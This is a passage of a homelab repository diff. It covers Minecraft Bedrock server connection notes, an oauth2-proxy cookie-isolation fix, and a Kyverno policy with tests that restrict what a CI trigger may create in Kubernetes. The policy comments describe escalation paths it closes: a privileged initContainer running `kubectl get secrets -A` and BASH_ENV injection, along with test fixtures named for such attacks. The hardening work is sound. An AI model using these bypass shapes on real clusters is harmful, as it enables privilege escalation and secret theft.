+> **Treat both files as backup-relevant, and re-run the 5-step connect procedure above after any Bedrock
+> recreate or BDS update.**
+
+#### Why this does not change the transport recommendation
+
+`transport=raknet` is correct, and with the allowlist entry in place the combination is **proven
+end-to-end by a player who has joined** — not merely the best-reasoned option. The allowlist refusal was
+orthogonal to transport all along: it would have refused players identically under NetherNet. Switching
+to NetherNet would *add* work (TCP 19132 in `crafty-l4-tcp` **and** in `crafty-allow-ingress`, plus
+`server-udp-ports` pinned and exposed) and would admit **not one extra player**. The ranking below stands,
+and option 1 is now settled rather than provisional.
+
+#### Decision (PROVEN, not provisional): `transport=raknet` stays; the 19132-19134/UDP exposure is correct and live
+
+No manifest change is needed or wanted. `service-l4.yaml`, `networkpolicy.yaml` and the
+`containerPort`s were already shaped for exactly RakNet, and that shape is now **proven by a player who
+has connected and joined over `192.168.2.22:19132`** — not assumed, and not merely reasoned. The options
+that would have required manifest work are all **not recommended**:
+
+| Option | Manifest consequence | Verdict |
+|---|---|---|
+| **Keep `transport=raknet`** + allowlist entries (**this is what works**) | **none** — the existing Service, policy and ports were already correct | **Done; proven.** A player has joined over the VIP. Zero manifest change, vanilla parity, real Bedrock world. |
+| **GeyserMC + Floodgate** on the `homelab` Paper server | none either (Geyser also binds `19132/udp`), but it would **collide** with the live BDS on 19132 — one of them must move | Hold in reserve. Only worth it if RakNet is really removed, or if you *want* one shared world. Cost: Bedrock players join the **Java** world, not a Bedrock world; Java-only mechanics and some content differ; it is another moving part to patch. |
+| **Pin/downgrade BDS** to a pre-nethernet release | none | Unnecessary — the *current* build already speaks RakNet. Also fragile: Microsoft removes old BDS downloads, and Crafty's Bedrock installer tracks latest. UNVERIFIED whether Crafty can pin a version at all. |
+| **A third-party server** (PocketMine-MP, Nukkit) | none | No. Loses vanilla parity and the world format; a large change to solve a problem that is not occurring. |
+| **Accept NetherNet** | 19132-19134/UDP becomes **inert**; nethernet would instead need **TCP** 19132 added to `crafty-l4-tcp` *and* to `crafty-allow-ingress`, plus `server-udp-ports` pinned and exposed for the negotiated media path | No — and note it is **not currently in use**: `transport=raknet` and there is no TCP 19132 listener. Strictly more manifest work than the option that already works, it admits no extra player (the allowlist is the gate), and WebRTC media behind a shared VIP and SNAT is unproven here. |
+
+#### If RakNet is ever really removed
+
+Then BDS opens no UDP listener and this exposure has nothing to bind to — an architecture problem, not
+a config one. The migration is **GeyserMC + Floodgate as a plugin on the existing `homelab` Paper
+server**, because Geyser speaks RakNet on `19132/udp` itself: the VIP, the Service, the policy and the
+`containerPort`s all stay **byte-for-byte as they are**, and Bedrock clients keep connecting to
+`crafty-mc.home.keithjackson.dev:19132`. What changes is the world: Bedrock players land in the Java
+world via Floodgate (no Xbox-authenticated Bedrock account needed on the Java side), the Bedrock server
+is retired, and `K3s-Bedrock` stops the day Geyser starts — **they cannot share 19132**. Installing it
+is a PVC write plus a Paper restart, i.e. an **operator action**: drop `Geyser-Spigot.jar` and
+`floodgate-spigot.jar` into `/crafty/servers/13c7b85d-…/plugins/` and restart `homelab`, then set
+Geyser's `bedrock.port: 19132` and `clone-remote-port: false` in its generated `config.yml`.
+Geyser's own Bedrock-version support is **external and unmeasured here** — check that it supports the
+Bedrock client version in use before committing.
+
+### Bedrock realities that are NOT platform defects but present identically
+
+- **LAN / Friends-tab discovery can never work here.** Bedrock discovery is a UDP broadcast on 19132
+  inside one L2 segment; this server sits behind a LoadBalancer VIP (and SNAT), not on the LAN, so it
+  will **never** appear in a client's Friends/LAN list. Players must use **Add Server** and type the
+  address and port by hand: `crafty-mc.home.keithjackson.dev` (or the VIP) with port **19132**.
+  `external-dns` publishes that name from the **-tcp** Service, so it resolves to the shared VIP and
+  is correct for Bedrock too — only the port differs from Java's 25565.
+- **Consoles cannot reach this at all.** Switch/Xbox/PlayStation Bedrock clients have no
+  arbitrary-server-address field; only Windows/mobile/Fire do. Reaching it from a console needs a DNS
+  redirect of a featured-server hostname, which is out of scope for `service-l4.yaml`.
+- **`enable-lan-visibility=true` (the shipped default) collides with Bedrock slots 1 and 2 — now
+  OBSERVED, not merely documented.** Under `transport=raknet` it makes a server bind the **default**
+  ports 19132 *and* 19133 even when `server-port`/`server-portv6` say otherwise; the shipped
+  `bedrock_server_how_to.html` says so, and on 2026-09-29 a RakNet ping to
+  `192.168.2.22:19133` returned **the same pong, from the same `server_guid`, as `:19132`** — one
+  server occupying two of the three Bedrock slots. `:19134` correctly timed out. So a second Bedrock
+  server put on 19133 will fight the first. Set `enable-lan-visibility=false` on every Bedrock server
+  after the first; LAN discovery cannot work here anyway (above).
+- **`server-portv6` is the IPv6 listener and is not exposed; `19133` is nonetheless in use.**
+  `service-l4.yaml` is IPv4 single-stack, so the *IPv6* socket `…:4ABD` that BDS opens for
+  `server-portv6=19133` is unreachable from the LAN. But because `enable-lan-visibility=true` (above)
+  the server *also* answers on **IPv4 19133**, which the UDP Service does expose — measured. So
+  `19133` in `server.properties` genuinely does mean "slot 1 is taken", contrary to what this file
+  previously said.
+
 ## Policies
 
 `namespace.yaml` sets only `gateway-access=shared` (platform namespace, like headlamp/homepage), so
@@ -114,14 +423,48 @@ Gateway VIP). The sidecar→Crafty hop is pod-local (`127.0.0.1`) and not subjec
    local admin. A **non-platform-admins** user → **403** (authenticated but not authorized).
 2. **Pod health / fsGroup:** `kubectl -n crafty get pod` Ready 2/2; Crafty writes its DB under
    `/crafty/app/config` and `/crafty/servers` without EACCES.
-3. **Server-create + game reach:** in the Crafty UI create a Java server bound to `25565`; start it;
-   connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or `192.168.1.55:25565`)
-   from the LAN and confirm the world loads. (Bedrock: a server on `19132/udp` reached at the VIP.)
+3. **Server-create + game reach (Java):** in the Crafty UI create a Java server bound to `25565`;
+   start it; connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or
+   `192.168.2.22:25565`) from the LAN and confirm the world loads.
+4. **Bedrock: the connect procedure (VERIFIED end-to-end 2026-09-29 — a player has joined).**
+   Creating and starting the server is **not sufficient**. Do these in order; each step has a distinct
+   failure signature:
+
+   1. **`transport=raknet`** in `server.properties`. The vendor default is `nethernet`, which opens
+      **no UDP listener at all**.
+   2. **A live UDP listener:** `grep 4ABC /proc/net/udp /proc/net/udp6` → a wildcard bind. Under
+      `nethernet` you instead see `4ABC` on **TCP**, which nothing here exposes.
+   3. **A pong from off-cluster:** a RakNet Unconnected Ping to `192.168.2.22:19132` returns a `0x1c`
+      packet whose MOTD string starts `MCPE;`. This proves the VIP, Service and policy path.
+   4. **An allowlist entry for the player's Xbox Gamertag.** `allow-list=true` with
+      `allowlist.json == []` refuses **every** player with *"You are not invited to play on this
+      server"* while the server is otherwise perfectly reachable. In the panel console:
+      `allowlist add <Gamertag>`.
+   5. **Add Server** by hand in a Windows/mobile client: `crafty-mc.home.keithjackson.dev`, port
+      `19132`. It will never appear in the LAN/Friends tab, and a console cannot reach it at all.
+
+   **Two log messages appear on a fully working server and must be ignored:** BDS's
+   `================ TRANSPORT TYPE ERROR ===================` banner (advisory — see *Trap 2*), and
+   Crafty's perpetual `Bedrock ping returned a string with too few fields`. Neither indicates a fault;
+   chasing them is what cost two sessions. The **real** failure signatures are `Got timeout while
+   issuing bedrock ping` (no listener) and *"You are not invited"* (allowlist).
 
 ## Runtime state: the servers themselves are NOT in git
 
-As of 2026-09-14 one Java server exists — **"homelab"**, Paper 26.2, TCP 25565, 2 GiB heap, autostart
-on, UUID `13c7b85d-00bb-4a58-8c86-2433ca47891c`. It was created through Crafty's v2 API, and **Mojang's
+As of 2026-09-29 **two** servers exist (both measured live, `select * from servers`):
+
+| Name | Type | Port | UUID | `auto_start` |
+|---|---|---|---|---|
+| `homelab` | `minecraft-java` (Paper 26.2, 2 GiB heap) | TCP 25565 | `13c7b85d-00bb-4a58-8c86-2433ca47891c` | **1** |
+| `K3s-Bedrock` | `minecraft-bedrock` | UDP 19132 | `c5837301-12b1-404e-b50e-70eafb37226b` | **0** ⚠ |
+
+`K3s-Bedrock` was created 2026-09-29 20:51 and **still** has `auto_start=0` **and**
+`crash_detection=0` — re-measured 2026-09-29 21:41 straight out of `crafty.sqlite` (read-only), so the
+create-API trap documented at the bottom of this file is still live and still unfixed. **It will not
+come back after a pod restart**, and merging any change to `deployment.yaml` restarts the pod
+(`strategy: Recreate`). PATCH both to true and read them back.
+
+`homelab` was created through Crafty's v2 API, and **Mojang's
 EULA (<https://aka.ms/MinecraftEULA>) was accepted on the operator's behalf** to let it start; see the
 DECISIONS-LOG entry of that date.
 
@@ -132,6 +475,10 @@ application state on the `crafty-data` Longhorn PVC, in two places, and **Flux c
   heap sizes, `auto_start` / `crash_detection`.
 - `/crafty/servers/<uuid>/` (`servers` subPath) — `paper.jar`, `eula.txt`, `server.properties`, and
   **the generated world**. The jar is re-downloadable; the world is not.
+  **`transport=raknet` lives here too.** It is the one setting that makes Bedrock reachable at all (see
+  *the transport trap*), it is not in git, Flux cannot restore it, and a freshly created or reinstalled
+  Bedrock server gets the vendor default `transport=nethernet` back — i.e. it silently regresses to
+  "nothing bound on 19132/udp". Re-apply and re-ping after any Bedrock server recreate or BDS update.
 
 So a rebuild from git alone yields a healthy but **empty** Crafty with nothing listening on 25565.
 Recreating a server by hand means: create it in the UI or API, accept the EULA again, and PATCH

platform/crafty/deployment.yaml

@@ -150,7 +150,27 @@ spec:
             # Single provider => 302 straight to Keycloak, no oauth2-proxy interstitial button.
             - --skip-provider-button=true
             - --redirect-url=https://crafty.${BASE_DOMAIN}/oauth2/callback
-            - --cookie-domain=.${BASE_DOMAIN}
+            # ── COOKIE ISOLATION (bug fix 2026-09-29) ────────────────────────────────────────────
+            # This sidecar and the SHARED forward-auth oauth2-proxy (platform/oauth2-proxy) are
+            # INDEPENDENT instances holding DIFFERENT cookie-secrets (verified in-cluster: the two
+            # `cookie-secret` values differ, so neither can decrypt the other's cookie). Both used
+            # to emit oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and `_oauth2_proxy_csrf`)
+            # scoped to `.${BASE_DOMAIN}`, so the browser kept ONE pair of cookies for BOTH proxies:
+            # whichever authenticated last overwrote the other's session, and the loser then logged
+            # "No valid authentication in request" and bounced to Keycloak -- which, thanks to the
+            # live Keycloak SSO session, silently redirected back and overwrote the cookie again.
+            # That mutual eviction presents EXACTLY as the reported symptom: "I signed in to
+            # Keycloak but I am still not signed in to the app."
+            # Two independent fixes, both applied here (only this side changes -- renaming the
+            # SHARED proxy's cookie would sign every other gated app out):
+            #   1. --cookie-name: a unique name, so the two sessions cannot alias at all.
+            #   2. --cookie-domain: HOST-scoped. A per-app reverse proxy has no reason to broadcast
+            #      its session to every other host in the zone; the shared proxy keeps the wide
+            #      scope because cross-host forward-auth is precisely its job.
+            # --whitelist-domain deliberately stays zone-wide: it governs permitted post-login
+            # REDIRECT targets, not cookie scope.
+            - --cookie-name=_oauth2_proxy_crafty
+            - --cookie-domain=crafty.${BASE_DOMAIN}
             - --whitelist-domain=.${BASE_DOMAIN}
             - --cookie-secure=true
             - --pass-access-token=true

platform/kyverno/admission/conformance-trigger-job-shape.yaml

@@ -0,0 +1,377 @@
+# Serves: R-SEC-02 (CI holds no broad cluster access)
+#
+# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
+#
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
+# `create jobs` in namespace `conformance` can therefore create a Job that runs as
+# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
+# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
+# privileged identity unless something constrains the SHAPE of what it may create.
+#
+# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
+# committed conformance run and deny everything else. The operator chose this model
+# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
+# GitOps-native alternative.
+#
+# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
+# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
+# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
+# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
+# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
+#
+# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
+# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
+#
+# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
+# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
+# enforceable half: the image must live under the conformance repository path AND be
+# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
+# registry path could publish a different digest. TIGHTEN THIS when the image is built by
+# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
+# PR, which is exactly where a change to the security boundary belongs.
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: conformance-trigger-job-shape
+  annotations:
+    policies.kyverno.io/title: Constrain what the conformance CI trigger may create
+    policies.kyverno.io/category: Supply chain
+    policies.kyverno.io/severity: critical
+    homelab.keithjackson.dev/requirements: R-SEC-02
+    homelab.keithjackson.dev/scope: admission-only
+spec:
+  validationFailureAction: Enforce
+  failurePolicy: Fail
+  background: false
+  rules:
+    - name: trigger-may-create-only-the-committed-conformance-run
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger may create ONLY the committed conformance run: a single container,
+          digest-pinned conformance-runner image, serviceAccountName conformance-runner,
+          command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
+          and only the `workspace` and `results` volumes. See
+          platform/kyverno/admission/conformance-trigger-job-shape.yaml.
+        pattern:
+          spec:
+            template:
+              spec:
+                serviceAccountName: conformance-runner
+                =(hostNetwork): "false"
+                =(hostPID): "false"
+                =(hostIPC): "false"
+                containers:
+                  - image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
+                    command:
+                      - "./run.sh"
+                    securityContext:
+                      runAsNonRoot: true
+                      allowPrivilegeEscalation: false
+                      =(privileged): "false"
+
+    - name: trigger-volumes-must-be-workspace-or-results
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
+          volume is how a constrained pod reaches a host path, a secret, or another SA's token.
+        # foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
+        # matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
+        # asserts EVERY volume is one of the two allowed names.
+        foreach:
+          - list: "request.object.spec.template.spec.volumes"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value: ["workspace", "results"]
+
+    - name: trigger-args-must-be-the-committed-flags
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Job args may contain only the conformance run's own flags
+          (--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
+          Anything else — a shell, a path, a redirect — is denied.
+        foreach:
+          - list: "request.object.spec.template.spec.containers[0].args"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
+                    operator: Equals
+                    value: false
+
+    # =========================================================================================
+    # ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
+    #
+    # Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
+    # `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
+    # exact escalation this policy exists to stop — the privileged `conformance-runner` SA
+    # executing an arbitrary command, because Kubernetes places no `use` check on
+    # `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
+    # compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
+    #
+    #   a Job with serviceAccountName conformance-runner and an initContainer
+    #   `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
+    #     ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # ADMITTED
+    #
+    # `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+    #
+    # WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
+    # needed — the suite has to be cloned at the commit under test. But while the clone logic
+    # lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
+    # the committed script from an attacker's: both are just `args` on a shell. So the clone
+    # logic moved into the runner image at a fixed path
+    # (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
+    # rule pins `command` to that path with NO args. An admitted init container therefore
+    # carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
+    # itself validates against ^[0-9a-f]{40}$.
+    #
+    # `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
+    # element matches", which would admit the committed clone step PLUS an arbitrary second
+    # init container — the same class of hole rule 2's comment describes for volumes.
+    # =========================================================================================
+    - name: trigger-initcontainers-must-be-the-committed-clone-step
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
+          committed clone step: the digest-pinned conformance-runner image,
+          command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
+          escalation, not privileged. An initContainer running a shell with a caller-supplied
+          script is arbitrary code execution as the privileged conformance-runner SA — the
+          escalation the rest of this policy exists to prevent. See
+          conformance/incluster/conformance-clone.
+        foreach:
+          - list: "request.object.spec.template.spec.initContainers"
+            deny:
+              conditions:
+                any:
+                  # At most one. The committed run needs exactly one clone step; a second
+                  # init container has no legitimate purpose and is how you smuggle one in.
+                  - key: "{{ length(request.object.spec.template.spec.initContainers) }}"
+                    operator: GreaterThan
+                    value: 1
+                  # Digest-pinned under the conformance repository path — same rule as
+                  # containers[0], same honest limit (see IMAGE PINNING in the header).
+                  - key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
+                    operator: Equals
+                    value: false
+                  # The baked-in entrypoint, exactly — not a shell, not a second path.
+                  # `join` so this compares a STRING: Equals/NotEquals on arrays is not
+                  # dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
+                  - key: "{{ join(' ', not_null(element.command, `[]`)) }}"
+                    operator: NotEquals
+                    value: "/usr/local/bin/conformance-clone"
+                  # NO ARGS. This is the whole point: args on an init container are
+                  # caller-supplied code. Only env may be passed, and the entrypoint validates it.
+                  - key: "{{ length(not_null(element.args, `[]`)) }}"
+                    operator: GreaterThan
+                    value: 0
+                  # not_null(), NOT `||`: JMESPath treats `false` as falsy, so
+                  # `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
+                  # the COMPLIANT value false into true and deny every good Job.
+                  - key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
+                    operator: NotEquals
+                    value: true
+                  - key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
+                    operator: NotEquals
+                    value: false
+                  - key: "{{ not_null(element.securityContext.privileged, `false`) }}"
+                    operator: NotEquals
+                    value: false
+
+    # =========================================================================================
+    # ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
+    # container list on a PodSpec, and it was as unread as `initContainers` was.
+    #
+    # Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
+    # (the field is settable only through the `pods/ephemeralcontainers` subresource), which
+    # would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
+    # "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
+    # when the field is absent, and removes the need to be right about it. If the API server
+    # does reject it, nothing changes; if it does not, this is the same hole again.
+    # =========================================================================================
+    - name: trigger-may-not-declare-ephemeral-containers
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may not declare ephemeralContainers. The committed
+          conformance run has no use for one, and an ephemeral container is a third container
+          list running as the privileged conformance-runner SA with an arbitrary command.
+        deny:
+          conditions:
+            all:
+              - key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
+                operator: GreaterThan
+                value: 0
+
+    # =========================================================================================
+    # ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
+    #
+    # The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
+    # to whatever adjacent field nobody enumerated. It was `initContainers`, then
+    # `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
+    # environment variable on either container.
+    #
+    # That is not hypothetical. Both programs the Job runs read their environment:
+    #   * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
+    #     CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
+    #     image (it dies on a mismatch rather than honouring a redirect — which is why the
+    #     specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
+    #     already closed there, in the image, not here);
+    #   * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
+    # And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
+    # `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
+    # Defence in depth belongs here too: the entrypoint's own validation should not be the only
+    # thing standing between a caller-chosen env var and the privileged SA.
+    #
+    # NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
+    # Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
+    # conformance-runner can already read Secrets in this namespace via its own RBAC, so
+    # pinning the source Secret would buy nothing. Names are the vector that matters, because a
+    # name is what a program keys its behaviour on.
+    # =========================================================================================
+    - name: trigger-env-names-must-be-the-committed-set
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may set only the committed environment variables. The runner
+          container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
+          init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
+          GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
+          pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
+          conformance-runner SA. Widening this list is a reviewed one-line change.
+        foreach:
+          - list: "request.object.spec.template.spec.containers[0].env"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value:
+                      - CONF_ARTIFACTS
+                      - CONF_EMIT_ARTIFACTS_TGZ
+                      - TMPDIR
+                      - HOME
+          # Flattened across init containers: the rule above already caps them at one, but this
+          # must not silently stop checking if that cap is ever relaxed.
+          - list: "request.object.spec.template.spec.initContainers[].env[]"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value:
+                      - CONFORMANCE_GIT_SHA
+                      - CONFORMANCE_REPO_URL
+                      - CONFORMANCE_SRC
+                      - GITEA_USERNAME
+                      - GITEA_TOKEN
+                      - TMPDIR
+                      - HOME
+
+    - name: trigger-may-not-use-envfrom
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
+          as environment variables, whose KEYS are not visible in the Job at all — which would
+          make the env-name allowlist above unenforceable by inspection.
+        deny:
+          conditions:
+            any:
+              - key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
+                operator: GreaterThan
+                value: 0
+              - key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
+                operator: GreaterThan
+                value: 0

platform/kyverno/admission/kustomization.yaml

@@ -20,3 +20,7 @@ resources:
   # --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
   #     (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
   - secret-provenance.yaml
+  # --- R-SEC-02: constrain what the conformance CI trigger may create ---
+  # THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
+  # subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
+  - conformance-trigger-job-shape.yaml

platform/kyverno/tests/conformance-trigger/kyverno-test.yaml

@@ -0,0 +1,120 @@
+# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
+#
+# Each DENY case below is a real escalation path, not a style violation. The one that matters
+# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
+# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
+# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
+# this policy.
+#
+# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
+# never fires and every case trivially passes — a test that proves nothing.
+apiVersion: cli.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: conformance-trigger-job-shape
+policies:
+  - ../../admission/conformance-trigger-job-shape.yaml
+resources:
+  - resources.yaml
+userinfo: user-info.yaml
+results:
+  # ---- the committed run is ADMITTED ----
+  # `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
+  # init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
+  # so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
+  # 2am against the live cluster. `good-run` remains the minimal shape.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-create-only-the-committed-conformance-run
+    kind: Job
+    resources: [good-run, real-template]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-volumes-must-be-workspace-or-results
+    kind: Job
+    resources: [good-run, real-template]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-args-must-be-the-committed-flags
+    kind: Job
+    resources: [good-run, real-template]
+    result: pass
+  # `real-template` is the only fixture WITH an init container, so it is the only one this
+  # rule reports on — a foreach over an absent list yields no result at all, which is why
+  # `good-run` is not listed here.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-initcontainers-must-be-the-committed-clone-step
+    kind: Job
+    resources: [real-template]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-declare-ephemeral-containers
+    kind: Job
+    resources: [good-run, real-template]
+    result: pass
+  # Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-env-names-must-be-the-committed-set
+    kind: Job
+    resources: [real-template]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-use-envfrom
+    kind: Job
+    resources: [good-run, real-template]
+    result: pass
+
+  # ---- THE escalation: runner SA + arbitrary command ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-create-only-the-committed-conformance-run
+    kind: Job
+    resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
+    result: fail
+
+  # ---- an extra volume is the way out of a constrained pod ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-volumes-must-be-workspace-or-results
+    kind: Job
+    resources: [extra-volume]
+    result: fail
+
+  # ---- args beyond the committed flags ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-args-must-be-the-committed-flags
+    kind: Job
+    resources: [injected-args]
+    result: fail
+
+  # ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
+  # Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
+  # before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
+  # is the coordinator's independent reproduction; keeping it here is what stops the hole
+  # reopening.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-initcontainers-must-be-the-committed-clone-step
+    kind: Job
+    resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
+    result: fail
+
+  # ---- and via the third container list nobody was reading ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-declare-ephemeral-containers
+    kind: Job
+    resources: [evil-ephemeral-container]
+    result: fail
+
+  # ---- and via `env`, the same mistake a third time ----
